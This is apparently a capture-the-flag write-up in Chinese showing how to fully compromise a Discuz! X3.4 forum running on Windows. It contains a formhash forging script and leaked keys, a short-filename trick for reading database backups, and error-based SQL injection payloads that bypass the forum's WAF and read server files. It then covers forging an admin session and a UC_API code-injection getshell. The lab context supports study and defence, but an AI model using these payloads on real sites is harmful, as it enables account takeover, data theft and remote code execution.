空指標-Base on windows Writeup -- 最新版DZ3.4實戰滲透
作者:LoRexxar'@知道創宇404實驗室
時間:2020年5月11日
原文地址:
週末看了一下這次空指標的第三次Web公開賽,稍微研究了下發現這是一份最新版DZ3.4幾乎預設配置的環境,我們需要在這樣一份幾乎真實環境下的DZ中完成Get shell。這一下子提起了我的興趣,接下來我們就一起梳理下這個滲透過程。
與預設環境的區別是,我們這次擁有兩個額外的條件。
1、Web環境的後端為Windows
2、我們獲得了一份config檔案,裡面有最重要的authkey
得到這兩個條件之後,我們開始這次的滲透過程。
以下可能會多次提到的出題人寫的DZ漏洞整理
authkey有什麼用?
/ ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';
authkey是DZ安全體系裡最重要的主金鑰,在DZ本體中,涉及到金鑰相關的,基本都是用authkey和cookie中的saltkey加密構造的。
當我們擁有了這個authkey之後,我們可以計算DZ本體各類操作相關的formhash(DZ所有POST相關的操作都需要計算formhash)
配合authkey,我們可以配合source/include/misc/misc_emailcheck.php中的修改註冊郵箱項來修改任意使用者繫結的郵箱,但管理員不能使用修改找回密碼的api。
可以用下面的指令碼計算formhash
$username = "ddog"; $uid = 51; $saltkey = "SuPq5mmP"; $config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E"; $authkey = md5($config_authkey.$saltkey); $formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);
當我們發現光靠authkey沒辦法進一步滲透的時候,我們把目標轉回到hint上。
1、Web環境的後端為Windows
2、dz有正常的備份資料,備份資料裡有重要的key值
windows短檔名安全問題
在2019年8月,dz曾爆出過這樣一個問題。
在windows環境下,有許多特殊的有關萬用字元型別的檔名展示方法,其中不僅僅有 <>"這類可以做萬用字元的符號,還有類似於~的省略寫法。這個問題由於問題的根在服務端,所以cms無法修復,所以這也就成了一個長久的問題存在。
具體的細節可以參考下面這篇文章:
配合這兩篇文章,我們可以直接去讀資料庫的備份檔案,這個備份檔案存在
/data/backup_xxxxxx/200509_xxxxxx-1.sql
我們可以直接用
~1/200507~2.sql
拿到資料庫檔案
從資料庫檔案中,我們可以找到UC_KEY(dz)
在pre_ucenter_applications的authkey欄位找到UC_KEY(dz)
至此我們得到了兩個資訊:
uckey x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5 authkey 87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E
當我們有了這兩個key之後,我們可以直接呼叫uc_client的uc.php任意api。,後面的進一步利用也是建立在這個基礎上。
uc.php api 利用
這裡我們主要關注/api/uc.php
透過UC_KEY來計算code,然後透過authkey計算formhash,我們就可以呼叫當前api下的任意函式,而在這個api下有幾個比較重要的操作。
我們先把目光集中到updateapps上來,這個函式的特殊之處在於由於DZ直接使用preg_replace替換了UC_API,可以導致後臺的getshell。
具體詳細分析可以看,這個漏洞最初來自於@dawu,我在CSS上的演講中提到過這個後臺getshell:
根據這裡的操作,我們可以構造$code = 'time='.time().'&action=updateapps';
來觸發updateapps,可以修改配置中的UC_API,但是在之前的某一個版本更新中,這裡加入了條件限制。
if($post['UC_API']) { $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']); unset($post['UC_API']); }
由於過濾了單引號,導致我們注入的uc api不能閉合引號,所以單靠這裡的api我們沒辦法完成getshell。
換言之,我們必須登入後臺使用後臺的修改功能,才能配合getshell。至此,我們的滲透目標改為如何進入後臺。
如何進入DZ後臺?
首先我們必須明白,DZ的前後臺賬戶體系是分離的,包括uc api在內的多處功能,login都只能登入前臺賬戶,
也就是說,進入DZ的後臺的唯一辦法就是必須知道DZ的後臺密碼,而這個密碼是不能透過前臺的忘記密碼來修改的,所以我們需要尋找辦法來修改密碼。
這裡主要有兩種辦法,也對應兩種攻擊思路:
1、配合報錯注入的攻擊鏈
2、使用資料庫備份還原修改密碼
1、配合報錯注入的攻擊鏈
繼續研究uc.php,我在renameuser中找到一個注入點。
function renameuser($get, $post) { global $_G; if(!API_RENAMEUSER) { return API_RETURN_FORBIDDEN; } $tables = array( 'common_block' => array('id' => 'uid', 'name' => 'username'), 'common_invite' => array('id' => 'fuid', 'name' => 'fusername'), 'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'), 'common_mytask' => array('id' => 'uid', 'name' => 'username'), 'common_report' => array('id' => 'uid', 'name' => 'username'), 'forum_thread' => array('id' => 'authorid', 'name' => 'author'), 'forum_activityapply' => array('id' => 'uid', 'name' => 'username'), 'forum_groupuser' => array('id' => 'uid', 'name' => 'username'), 'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'), 'forum_post' => array('id' => 'authorid', 'name' => 'author'), 'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'), 'forum_ratelog' => array('id' => 'uid', 'name' => 'username'), 'home_album' => array('id' => 'uid', 'name' => 'username'), 'home_blog' => array('id' => 'uid', 'name' => 'username'), 'home_clickuser' => array('id' => 'uid', 'name' => 'username'), 'home_docomment' => array('id' => 'uid', 'name' => 'username'), 'home_doing' => array('id' => 'uid', 'name' => 'username'), 'home_feed' => array('id' => 'uid', 'name' => 'username'), 'home_feed_app' => array('id' => 'uid', 'name' => 'username'), 'home_friend' => array('id' => 'fuid', 'name' => 'fusername'), 'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'), 'home_notification' => array('id' => 'authorid', 'name' => 'author'), 'home_pic' => array('id' => 'uid', 'name' => 'username'), 'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'), 'home_share' => array('id' => 'uid', 'name' => 'username'), 'home_show' => array('id' => 'uid', 'name' => 'username'), 'home_specialuser' => array('id' => 'uid', 'name' => 'username'), 'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'), 'portal_article_title' => array('id' => 'uid', 'name' => 'username'), 'portal_comment' => array('id' => 'uid', 'name' => 'username'), 'portal_topic' => array('id' => 'uid', 'name' => 'username'), 'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'), ); if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){ C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername])); } loadcache("posttableids"); if($_G['cache']['posttableids']) { foreach($_G['cache']['posttableids'] AS $tableid) { $tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author'); } } foreach($tables as $table => $conf) { DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'"); } return API_RETURN_SUCCEED; }
在函式的最下面,$get[newusername]被直接拼接進了update語句中。
但可惜的是,這裡連結資料庫預設使用mysqli,並不支援堆疊注入,所以我們沒辦法直接在這裡執行update語句來更新密碼,這裡我們只能構造報錯注入來獲取資料。
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';
這裡值得注意的是,DZ自帶的注入waf挺奇怪的,核心邏輯在
\source\class\discuz\discuz_database.php line 375 if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); } else { $len = strlen($sql); $mark = $clean = ''; for ($i = 0; $i < $len; $i++) { $str = $sql[$i]; switch ($str) { case '`': if(!$mark) { $mark = '`'; $clean .= $str; } elseif ($mark == '`') { $mark = ''; } break; case '\'': if (!$mark) { $mark = '\''; $clean .= $str; } elseif ($mark == '\'') { $mark = ''; } break; case '/': if (empty($mark) && $sql[$i + 1] == '*') { $mark = '/*'; $clean .= $mark; $i++; } elseif ($mark == '/*' && $sql[$i - 1] == '*') { $mark = ''; $clean .= '*'; } break; case '#': if (empty($mark)) { $mark = $str; $clean .= $str; } break; case "\n": if ($mark == '#' || $mark == '--') { $mark = ''; } break; case '-': if (empty($mark) && substr($sql, $i, 3) == '-- ') { $mark = '-- '; $clean .= $mark; } break; default: break; } $clean .= $mark ? '' : $str; } } if(strpos($clean, '@') !== false) { return '-3'; } $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean)); if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); } if (is_array(self::$config['dfunction'])) { foreach (self::$config['dfunction'] as $fun) { if (strpos($clean, $fun . '(') !== false) return '-1'; } } if (is_array(self::$config['daction'])) { foreach (self::$config['daction'] as $action) { if (strpos($clean, $action) !== false) return '-3'; } } if (self::$config['dlikehex'] && strpos($clean, 'like0x')) { return '-2'; } if (is_array(self::$config['dnote'])) { foreach (self::$config['dnote'] as $note) { if (strpos($clean, $note) !== false) return '-4'; } }
然後config中相關的配置為
$_config['security']['querysafe']['dfunction']['0'] = 'load_file'; $_config['security']['querysafe']['dfunction']['1'] = 'hex'; $_config['security']['querysafe']['dfunction']['2'] = 'substring'; $_config['security']['querysafe']['dfunction']['3'] = 'if'; $_config['security']['querysafe']['dfunction']['4'] = 'ord'; $_config['security']['querysafe']['dfunction']['5'] = 'char'; $_config['security']['querysafe']['daction']['0'] = '@'; $_config['security']['querysafe']['daction']['1'] = 'intooutfile'; $_config['security']['querysafe']['daction']['2'] = 'intodumpfile'; $_config['security']['querysafe']['daction']['3'] = 'unionselect'; $_config['security']['querysafe']['daction']['4'] = '(select'; $_config['security']['querysafe']['daction']['5'] = 'unionall'; $_config['security']['querysafe']['daction']['6'] = 'uniondistinct'; $_config['security']['querysafe']['dnote']['0'] = '/*'; $_config['security']['querysafe']['dnote']['1'] = '*/'; $_config['security']['querysafe']['dnote']['2'] = '#'; $_config['security']['querysafe']['dnote']['3'] = '--'; $_config['security']['querysafe']['dnote']['4'] = '"';
這道題目特殊的地方在於,他開啟了afullnote
if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); }
由於/**/被替換為空,所以我們可以直接用前面的邏輯把select加入到這中間,之後被替換為空,就可以繞過這裡的判斷。
當我們得到一個報錯注入之後,我們嘗試讀取檔案內容,發現由於mysql是5.5.29,所以我們可以直接讀取伺服器上的任意檔案。
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';
思路走到這裡出現了斷層,因為我們沒辦法知道web路徑在哪裡,所以我們沒辦法直接讀到web檔案,這裡我僵持了很久,最後還是因為第一個人做出題目後密碼是弱密碼,我直接查出來進了後臺。
在事後回溯的過程中,發現還是有辦法的,雖然說對於windows來說,web的路徑很靈活,但是實際上對於整合環境來說,一般都安裝在c盤下,而且一般人也不會去動服務端的路徑。常見的windows整合環境主要有phpstudy和wamp,這兩個路徑分別為
- /wamp64/www/ - /phpstudy_pro/WWW/
找到相應的路徑之後,我們可以讀取\uc_server\data\config.inc.php得到uc server的UC_KEY.
之後我們可以直接呼叫/uc_server/api/dpbak.php中定義的
function sid_encode($username) { $ip = $this->onlineip; $agent = $_SERVER['HTTP_USER_AGENT']; $authkey = md5($ip.$agent.UC_KEY); $check = substr(md5($ip.$agent), 0, 8); return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800)); } function sid_decode($sid) { $ip = $this->onlineip; $agent = $_SERVER['HTTP_USER_AGENT']; $authkey = md5($ip.$agent.UC_KEY); $s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800); if(empty($s)) { return FALSE; } @list($username, $check) = explode("\t", $s); if($check == substr(md5($ip.$agent), 0, 8)) { return $username; } else { return FALSE; } }
構造管理員的sid來繞過許可權驗證,透過這種方式我們可以修改密碼並登入後臺。
2、使用資料庫備份還原修改密碼
事實上,當上一種攻擊方式跟到uc server的UC_KEY時,就不難發現,在/uc_server/api/dbbak.php中有許多關於資料庫備份與恢復的操作,這也是我之前沒發現的點。
事實上,在/api/dbbak.php就有一模一樣的程式碼和功能,而那個api只需要DZ的UC_KEY就可以操作,我們可以在前臺找一個地方上傳,然後呼叫備份恢復覆蓋資料庫檔案,這樣就可以修改管理員的密碼。
後臺getshell
登入了之後就比較簡單了,首先
修改uc api 為
);phpinfo();//
然後使用預先準備poc更新uc api
這裡返回11就可以了
寫在最後
整道題目主要圍繞的DZ的核心金鑰安全體系,實際上除了在windows環境下,幾乎沒有其他的特異條件,再加上短檔名問題原因主要在服務端,我們很容易找到備份檔案,在找到備份檔案之後,我們可以直接從資料庫獲得最重要的authkey和uc key,接下來的滲透過程就順理成章了。
從這篇文章中,你也可以窺得在不同情況下利用方式得擴充,配合原文閱讀可以獲得更多的思路。
REF
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2691827/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- cmseasy&內網滲透 Writeup內網
- TPLINK滲透實戰
- 滲透測試入門實戰
- 記一次實戰滲透
- 滲透測試工具實戰技巧合集
- VulnHub滲透實戰Billu_b0x
- 防止空指標指標
- 內網滲透 IPC$ [空連線]內網
- 域滲透之ATT&CK實戰系列——紅隊實戰(一)
- Windows系統下透過命令列獲取程序指標Windows命令列指標
- GO 空指標和nilGo指標
- 空指標的傳說指標
- Kali Linux滲透測試實戰 第一章Linux
- 實驗吧 —— web完整滲透測試實驗指導書(圖片版)Web
- 內網滲透-初探域滲透內網
- 滲透測試的WINDOWS NTFS技巧集合(一)Windows
- 滲透測試的WINDOWS NTFS技巧集合(二)Windows
- 如何避免空指標出錯?指標
- springboot整合redis,redisTemplate 空指標Spring BootRedis指標
- easyexcel字型空指標錯誤Excel指標
- 透過指標引用陣列指標陣列
- 滲透測試對app安全測試實戰過程分享APP
- 滲透測試公司實戰拿下客戶網站過程網站
- 滲透測試實驗二
- 網路滲透實驗四
- 滲透技巧——如何巧妙利用PSR監控Windows桌面Windows
- DC-5靶場滲透實戰過程(個人學習)
- 記一次大型且細小的域滲透實戰
- NullPointerException空指標異常的理解NullException指標
- wifi滲透WiFi
- 資料倉儲指標體系搭建實戰指標
- c++11新特性實戰(二):智慧指標C++指標
- xss挑戰賽writeup
- OpenTelemetry 實戰:從零實現應用指標監控指標
- 記一次本地Windows-2008滲透測試Windows
- 「程式設計師面試」一文搞懂野指標、懸空指標、空指標和記憶體洩漏,附程式碼示例!程式設計師面試指標記憶體
- 域滲透之利用WMI來橫向滲透
- base標籤